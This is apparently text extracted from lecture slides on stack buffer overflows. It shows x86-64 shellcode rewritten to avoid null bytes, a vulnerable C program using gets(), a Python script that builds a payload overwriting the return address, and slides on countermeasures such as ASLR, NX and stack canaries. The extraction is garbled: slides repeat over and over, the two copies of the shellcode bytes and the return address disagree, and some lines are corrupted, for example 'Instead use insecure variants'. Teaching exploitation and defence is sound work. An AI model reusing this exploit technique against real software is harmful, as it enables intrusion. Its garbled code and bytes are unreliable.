</tr>
<tr>
<td>7</td>
<td>58</td>
<td>mov $0x1, %eax</td>
</tr>
<tr>
<td>8</td>
<td>b8 01 00 00 00</td>
<td>syscall</td>
</tr>
<tr>
<td>9</td>
<td>0f 05</td>
<td></td>
</tr>
</tbody>
</table>

Though this code works as expected when executed in a shell, we can’t use this directly to fill our stack buffer.
### Kernel write via asm

<table>
<thead>
<tr>
<th>Address</th>
<th>Code</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>400078</td>
<td><code>ba 07 00 00 00</code></td>
<td><code>mov $0x7,%edx</code></td>
</tr>
<tr>
<td>40007d</td>
<td><code>bf 01 00 00 00</code></td>
<td><code>mov $0x1,%edi</code></td>
</tr>
<tr>
<td>400082</td>
<td><code>48 b8 4a 6f 73 68 75</code></td>
<td><code>movabs $0xa617568736f4a,%rax</code></td>
</tr>
<tr>
<td>400089</td>
<td><code>61 0a 00</code></td>
<td></td>
</tr>
<tr>
<td>40008c</td>
<td><code>50</code></td>
<td><code>push %rax</code></td>
</tr>
<tr>
<td>40008d</td>
<td><code>48 89 e6</code></td>
<td><code>mov %rsp,%rsi</code></td>
</tr>
<tr>
<td>400090</td>
<td><code>58</code></td>
<td><code>pop %rax</code></td>
</tr>
<tr>
<td>400091</td>
<td><code>b8 01 00 00 00</code></td>
<td><code>mov $0x1,%eax</code></td>
</tr>
<tr>
<td>400096</td>
<td><code>0f 05</code></td>
<td><code>syscall</code></td>
</tr>
</tbody>
</table>

- Though this code works as expected when executed in a shell, we can’t use this directly to fill our stack buffer
- Why?
Though this code works as expected when executed in a shell, we can’t use this directly to fill our stack buffer

Why?

Most string input routines stop reading any further upon the occurrence of a 0x00 or 0x0a character, so we must rewrite our code accordingly
Rewritten kernel write via asm

```
400078:  31 d2 xor %edx,%edx
40007a:  89 d7 mov %edx,%edi
40007c:  83 c2 07 add $0x7,%edx
40007f:  83 c7 01 add $0x1,%edi
400082:  48 b8 94 de e6 d0 ea movabs $0xff14c2ead0e6de94,%rax
400089:  c2 14 ff
40008c:  48 c1 e0 08 shl $0x8,%rax
400090:  48 c1 e8 09 shr $0x9,%rax
400094:  50 push %rax
400095:  48 89 e6 mov %rsp,%rsi
400098:  58 pop %rax
400099:  48 31 c0 xor %rax,%rax
40009c:  48 83 c0 01 add $0x1,%rax
4000a0:  0f 05 syscall
```

asmwrite2.dump
We’re nearly done, what’s left to do is
<table>
<thead>
<tr>
<th>Line</th>
<th>Instruction</th>
<th>Address</th>
<th>Assembly Instruction</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>xor %edx,%edx</td>
<td>400078</td>
<td>31 d2</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>mov %edx,%edi</td>
<td>40007a</td>
<td>89 d7</td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>add $0x7,%edx</td>
<td>40007c</td>
<td>83 c2 07</td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>add $0x1,%edi</td>
<td>40007f</td>
<td>83 c7 01</td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>movabs $0xff14c2ead0e6de94,%rax</td>
<td>400082</td>
<td>48 b8 94 de e6 d0 ea</td>
<td></td>
</tr>
<tr>
<td>6</td>
<td>movabs $0xff14c2ead0e6de94,%rax</td>
<td>400089</td>
<td>c2 14 ff</td>
<td></td>
</tr>
<tr>
<td>7</td>
<td>shl $0x8,%rax</td>
<td>40008c</td>
<td>48 c1 e0 08</td>
<td></td>
</tr>
<tr>
<td>8</td>
<td>shr $0x9,%rax</td>
<td>400090</td>
<td>48 c1 e8 09</td>
<td></td>
</tr>
<tr>
<td>9</td>
<td>push %rax</td>
<td>400094</td>
<td>50</td>
<td></td>
</tr>
<tr>
<td>10</td>
<td>mov %rsp,%rsi</td>
<td>400095</td>
<td>48 89 e6</td>
<td></td>
</tr>
<tr>
<td>11</td>
<td>pop %rax</td>
<td>400098</td>
<td>58</td>
<td></td>
</tr>
<tr>
<td>12</td>
<td>xor %rax,%rax</td>
<td>400099</td>
<td>48 31 c0</td>
<td></td>
</tr>
<tr>
<td>13</td>
<td>add $0x1,%rax</td>
<td>40009c</td>
<td>48 83 c0 01</td>
<td></td>
</tr>
<tr>
<td>14</td>
<td>syscall</td>
<td>4000a0</td>
<td>0f 05</td>
<td></td>
</tr>
</tbody>
</table>

- We’re nearly done, what’s left to do is
- Fill the victims stack buffer with the upper code
Rewritten kernel write via asm

We’re nearly done, what’s left to do is

- Fill the victims stack buffer with the upper code
- Add some padding to reach the position of the return address
We’re nearly done, what’s left to do is

- Fill the victims stack buffer with the upper code
- Add some padding to reach the position of the return address
- Overwrite the return address to point to our code
The victim

```c
void askForName ( void )
{
    char name[64] ;
    printf ( "Address of name : %016p\n", name ) ;
    printf ( "Please enter your name : " ) ;
    gets ( name ) ;
    printf ( "Hello %s !\n", name ) ;
}

int main ( void )
{
    askForName () ;
    printf ("Done\n") ;
    return ( 0 ) ;
}
```

The victim

```c
void askForName ( void )
{
  char name[64] ;
  printf ( "Address of name : %016p\n", name ) ;
  printf ( "Please enter your name : " ) ;
  gets ( name ) ;
  printf ( "Hello %s !\n", name ) ;
}

int main ( void )
{
  askForName () ;
  printf ("Done\n") ;
  return ( 0 ) ;
}
```

This victim is so kind to tell us that the address of the buffer we’re seeking to overflow is 0x007fffffffef1e0 so we don’t have to use our debugger.
The python attacker

```
code = '\x31\xd2\x89\xd7\x83\xc2\x07\x83\xc7\x01\x48\xb8\x94\xde\xe6\xde\xd0\xe8'
code += '\xc2\x14\xff\x48\xc1\xe0\x08\x48\xc1\xe8\x09\x50\x48\x89\xe6\xe5\x48'
code += '\x31\xc0\x48\x83\xc0\x01\x0f\x05'
output = code + '\x90' * (64 - len(code)) + 8 * '\x90';
output += '\xe0\xe1\xff\xff\xff\xff\xff\x7f';
print(output);
exit(0)
```
The python attacker

```python
code = '\x31\xd2\x89\xd7\x83\xc2\x07\x83\xc7\x01\x48\xb8\x94\xde\xe6\xed\x01\xe0'
code += '\xc2\x01\xff\x48\xc1\xe0\x08\x48\xc1\xe8\x09\x50\x48\x89\xe6\x58\x48'
code += '\x31\xc0\x48\x83\xc0\x01\x0f\x05'
output = code + '\x90' * ( 64 - len ( code ) ) + 8 * '\x90' ;
output += '\xe0\xe1\xff\xff\xff\xff\xff\xff\xff\xff\x7f' ;
print ( output ) ;
exit ( 0 )
```

The final working exploit

```
$ ./attacker.py | ./victim.elf
Address of name : 0x007fffffffde1e0
Please enter your name : Hello
............................................................
Joshua
Segmentation fault
```
OS / Linux

- Security concerns
- Countermeasures

- ADDRESS SPACE RANDOMIZATION (ASLR) changes section locations randomly each program run.
- Enabled by default.
- Check `/proc/sys/kernel/randomize_va_space`.
- Prevents execution of writeable sections available on devices.
- Settings can be checked.

- GCC support:
  - `-fstack-protector` inserts randomly chosen magic values (so-called canaries) into function stack frames.
  - Enabled by default.
  - GCC marks stack sections as not-executable by default.
  - Use `execstack`.
OS / Linux

- Address Space Layout Randomization (ASLR) changes section locations randomly each program run
OS / Linux

- Address Space Layout Randomization (ASLR) changes section locations randomly each program run
- Most often enabled by default
OS / Linux

- Address Space Layout Randomization (ASLR) changes section locations randomly each program run
- Most often enabled by default
- Check `/proc/sys/kernel/randomize_va_space`
OS / Linux

- Address Space Layout Randomization (ASLR) changes section locations randomly each program run
- Most often enabled by default
- Check `/proc/sys/kernel/randomize_va_space`
- NX Bit prevents execution of writeable sections
OS / Linux

- Address Space Layout Randomization (ASLR) changes section locations randomly each program run
- Most often enabled by default
- Check `/proc/sys/kernel/randomize_va_space`
- NX Bit prevents execution of writeable sections
- Available on AMD64, check BIOS settings
OS / Linux

- Address Space Layout Randomization (ASLR) changes section locations randomly each program run
- Most often enabled by default
- Check `/proc/sys/kernel/randomize_va_space`
- NX Bit prevents execution of writeable sections
- Available on AMD64, check BIOS settings

Compiler / gcc
OS / Linux
- Address Space Layout Randomization (ASLR) changes section locations randomly each program run
- Most often enabled by default
- Check `/proc/sys/kernel/randomize_va_space`
- NX Bit prevents execution of writeable sections
- Available on AMD64, check BIOS settings

Compiler / gcc
- gcc’s stack protector (-fstack-protector) inserts randomly chosen magic values (so-called canaries) into function stack frames
<table>
<thead>
<tr>
<th>Security concerns</th>
<th>Countermeasures</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>OS / Linux</strong></td>
<td></td>
</tr>
<tr>
<td>- Address Space Layout Randomization (ASLR) changes section locations randomly each program run</td>
<td></td>
</tr>
<tr>
<td>- Most often enabled by default</td>
<td></td>
</tr>
<tr>
<td>- Check <code>/proc/sys/kernel/randomize_va_space</code></td>
<td></td>
</tr>
<tr>
<td>- NX Bit prevents execution of writeable sections</td>
<td></td>
</tr>
<tr>
<td>- Available on AMD64, check BIOS settings</td>
<td></td>
</tr>
<tr>
<td><strong>Compiler / gcc</strong></td>
<td></td>
</tr>
<tr>
<td>- gcc’s stack protector (<code>-fstack-protector</code>) inserts randomly chosen magic values (<code>so-called canaries</code>) into function stack frames</td>
<td></td>
</tr>
<tr>
<td>- Enabled by default</td>
<td></td>
</tr>
</tbody>
</table>
OS / Linux
- Address Space Layout Randomization (ASLR) changes section locations randomly each program run
- Most often enabled by default
- Check `/proc/sys/kernel/randomize_va_space`
- NX Bit prevents execution of writeable sections
- Available on AMD64, check BIOS settings

Compiler / gcc
- gcc's stack protector (-fstack-protector) inserts randomly chosen magic values (so-called canaries) into function stack frames
- Enabled by default
- gcc marks stack sections as not-executable by default, OS support required
<table>
<thead>
<tr>
<th>Security concerns</th>
<th>Countermeasures</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>OS / Linux</strong></td>
<td></td>
</tr>
<tr>
<td>Address Space Layout Randomization (ASLR) changes</td>
<td></td>
</tr>
<tr>
<td>section locations randomly each program run</td>
<td></td>
</tr>
<tr>
<td>Most often enabled by default</td>
<td></td>
</tr>
<tr>
<td>Check <code>/proc/sys/kernel/randomize_va_space</code></td>
<td></td>
</tr>
<tr>
<td>NX Bit prevents execution of writeable sections</td>
<td></td>
</tr>
<tr>
<td>Available on AMD64, check BIOS settings</td>
<td></td>
</tr>
<tr>
<td><strong>Compiler / gcc</strong></td>
<td></td>
</tr>
<tr>
<td>gcc’s stack protector ( -fstack-protector ) inserts</td>
<td></td>
</tr>
<tr>
<td>randomy chosen magic values (so-called canaries) into</td>
<td></td>
</tr>
<tr>
<td>function stack frames</td>
<td></td>
</tr>
<tr>
<td>Enabled by default</td>
<td></td>
</tr>
<tr>
<td>gcc marks stack sections as not-executable by default</td>
<td></td>
</tr>
<tr>
<td>OS support required</td>
<td></td>
</tr>
<tr>
<td>Enabled by default, check using <code>execstack</code></td>
<td></td>
</tr>
</tbody>
</table>
Security concerns  Countermeasures

- Your code

Instead use insecure variants

There is no such thing as unbreakable security
### Security concerns

- Your code
  - Avoid functions missing boundary checks such as

<table>
<thead>
<tr>
<th>Security concerns</th>
<th>Countermeasures</th>
</tr>
</thead>
<tbody>
<tr>
<td>Your code</td>
<td></td>
</tr>
<tr>
<td>Avoid functions missing boundary checks such as</td>
<td></td>
</tr>
</tbody>
</table>
Your code
- Avoid functions missing boundary checks such as
  - `strcpy`
Security concerns

Countermeasures

- Your code
  - Avoid functions missing boundary checks such as
    - strcpy
    - strcat
Your code

Avoid functions missing boundary checks such as
- strcpy
- strcat
- sprintf
Your code

Avoid functions missing boundary checks such as

- strcpy
- strcat
- sprintf
- vsprintf
Your code

- Avoid functions missing boundary checks such as
  - strcpy
  - strcat
  - sprintf
  - vsprintf
  - gets ...

Instead use more secure variants:

- strncpy
- strncat
- snprintf
- fgets ...

There is no such thing as unbreakable security.
Your code

- Avoid functions missing boundary checks such as
  - strcpy
  - strcat
  - sprintf
  - vsprintf
  - gets ...
- Instead use less insecure variants
Your code

- Avoid functions missing boundary checks such as
  - `strcpy`  
  - `strcat`  
  - `sprintf`  
  - `vsprintf`  
  - `gets` ...

- Instead use less insecure variants
  - `strncpy`
Your code

- Avoid functions missing boundary checks such as
  - `strcpy`
  - `strcat`
  - `sprintf`
  - `vprintf`
  - `gets ...`
- Instead use less insecure variants
  - `strncpy`
  - `strncat`
Your code

- Avoid functions missing boundary checks such as
  - strcpy
  - strcat
  - sprintf
  - vsprintf
  - gets ...

- Instead use less insecure variants
  - strncpy
  - strncat
  - strncat
  - snprintf
Your code

- Avoid functions missing boundary checks such as
  - strcpy
  - strcat
  - sprintf
  - vsprintf
  - gets ...

- Instead use less insecure variants
  - strncpy
  - strncat
  - strncat
  - snprintf
  - fgets ...
Security concerns  Countermeasures

Your code

- Avoid functions missing boundary checks such as
  - strcpy
  - strcat
  - sprintf
  - vsprintf
  - gets ...

- Instead use less insecure variants
  - strncpy
  - strncat
  - snprintf
  - fgets ...

- There is no such thing as unbreakable security


   November 1996.

   http://turkeyland.net/projects/overflow/.

[8] Qin Zhao, Rodric Rabbah, and Weng-Fai Wong. Dynamic memory  
Any questions?